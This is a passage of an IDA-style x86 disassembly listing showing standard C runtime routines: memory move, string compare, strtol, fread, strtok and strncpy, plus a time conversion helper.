		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]


loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------


loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------


loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48B69C
		call	sub_41D5A8
		mov	edx, dword_48B69C
		pop	ecx
		mov	ecx, dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_48B698
		sub	ecx, dword_48B69C
		mov	dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48B698, ecx


loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_48B69C
		pop	ecx


loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48B69C
		mov	dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 2600000h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27F0000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_48A000
		jnz	short loc_418716
		mov	eax, dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 27E0000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh


loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489FF8, eax
		pop	esi


loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi


loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh


loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------


loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894


loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx


loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8


loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------


loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------


loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------


loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E


loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------


loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------


loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8


loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F


loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi


loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax


loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3775p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------


loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]


loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax


loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]


loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_48A010


loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx


loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------


loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------


loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1


loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62


loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55


loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


